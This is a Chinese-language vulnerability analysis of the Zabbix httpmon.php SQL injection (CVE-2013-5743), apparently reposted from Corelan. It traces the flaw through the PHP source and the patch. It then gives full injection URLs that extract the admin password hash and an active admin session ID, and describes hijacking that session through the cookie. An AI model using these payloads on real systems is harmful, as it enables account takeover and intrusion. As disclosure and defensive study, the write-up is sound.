更新时间:2022-09-03 15:35:09
from:https://www.corelan.be/index.php/2013/10/04/zabbix-sql-injectionrce-cve-2013-5743/
该漏洞于2013年9月11号提交,9月23号得到确认,10月2号发布补丁。
新出的0day,可以通过sql注入直接进入后台,并执行系统命令。
该漏洞已有metasploit利用模块,请使用Zabbix的公司注意及时打补丁。
该漏洞存在于httpmon.php脚本中,未登录用户也可访问。
这是由于Zabbix预先设定了一个guest用户,未登录用户都被设定为guest用户的访问权限。
如果guest用户被禁用,将不能访问httpmon.php脚本,利用该漏洞。
可以在管理员的管理面板中禁用guest用户。
从下图中可以看出来applications参数存在sql注入。
查看源代码:
1
2
3
|
foreach
( $_REQUEST [ 'applications' ]
as
$application ) {
add2favorites( 'web.httpmon.applications' ,
$application );
}
|
进入了$application变量中,跟踪add2favorites函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
function
add2favorites( $favobj ,
$favid ,
$source
= null) {
$favorites
= get_favorites( $favobj );
foreach
( $favorites
as
$favorite ) {
if
( $favorite [ 'source' ] ==
$source
&& $favorite [ 'value' ] ==
$favid ) {
return
true;
}
}
DBstart();
$values
= array (
'profileid'
=> get_dbid( 'profiles' ,
'profileid' ),
'userid'
=> CWebUser:: $data [ 'userid' ],
'idx'
=> zbx_dbstr( $favobj ),
'value_id'
=> $favid ,
'type'
=> PROFILE_TYPE_ID
); |
进入$values数组的value_id中,再往下跟踪就可以发现变量没有经过任何过滤进入到sql语句中:
1
|
return
DBend(DBexecute( 'INSERT INTO profiles (' .implode( ', ' ,
array_keys ( $values )). ')
VALUES (' .implode( ', ' ,
$values ). ')' ));
|
最新,Zabbix的补丁:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
Index: frontends/php/ include /profiles.inc.php
===================================================================
--- frontends/php/ include /profiles.inc.php (revision 38884)
+++ frontends/php/ include /profiles.inc.php (working
copy )
@@ -148,9 +148,9 @@
'profileid'
=> get_dbid( 'profiles' ,
'profileid' ),
'userid'
=> self:: $userDetails [ 'userid' ],
'idx'
=> zbx_dbstr( $idx ),
-
$value_type
=> ( $value_type
== 'value_str' ) ? zbx_dbstr( $value )
: $value ,
-
'type'
=> $type ,
-
'idx2'
=> $idx2
+
$value_type
=> zbx_dbstr( $value ),
+
'type'
=> zbx_dbstr( $type ),
+
'idx2'
=> zbx_dbstr( $idx2 )
);
return
DBexecute( 'INSERT INTO profiles (' .implode( ', ' ,
array_keys ( $values )). ')
VALUES (' .implode( ', ' ,
$values ). ')' ); //
string value prepearing
if
(isset( $DB [ 'TYPE' ]) &&
$DB [ 'TYPE' ] == ZBX_DB_MYSQL) {
function
zbx_dbstr( $var ) {
if
( is_array ( $var )) {
foreach
( $var
as
$vnum
=> $value ) {
$var [ $vnum ]
= "'" .mysql_real_escape_string( $value ). "'" ;
}
return
$var ;
}
return
"'" .mysql_real_escape_string( $var ). "'" ;
}
|
变量处理经过了一层mysql_real_escape_string函数的过滤。
在上面那个漏洞中,下面的语句可以读取管理员的用户名与密码md5的hash值:
http://zabbix.server/zabbix/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28alias,0x7e,passwd,0x7e%29%20as%20char%29,0x7e%29%29%20from%20zabbix.users%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29
成功获取,但是如果管理员的密码过于复杂,md5碰撞不出来明文的怎么办呢?
发现Zabbix的数据库中还保存了用户的session值,它们似乎都不会失效,除非用户点击了退出登录。
下图展示了数据库中sessions表保存的内容:
那我们直接注入获取管理员的session值,直接登录吧,无需碰撞md5的hash了。
http://zabbix.server/zabbix/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28sessionid,0x7e,userid,0x7e,status%29%20as%20char%29,0x7e%29%29%20from%20zabbix.sessions%20where%20status=0%20and%20userid=1%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29
用获取到的session替换cookie中zbx_sessionid中的值:
然后就登陆成功:
管理员进入后可以命令执行具体方法wooyun上已经有了:
也可以直接反弹shell执行命令方便很多,具体姿势可以参考: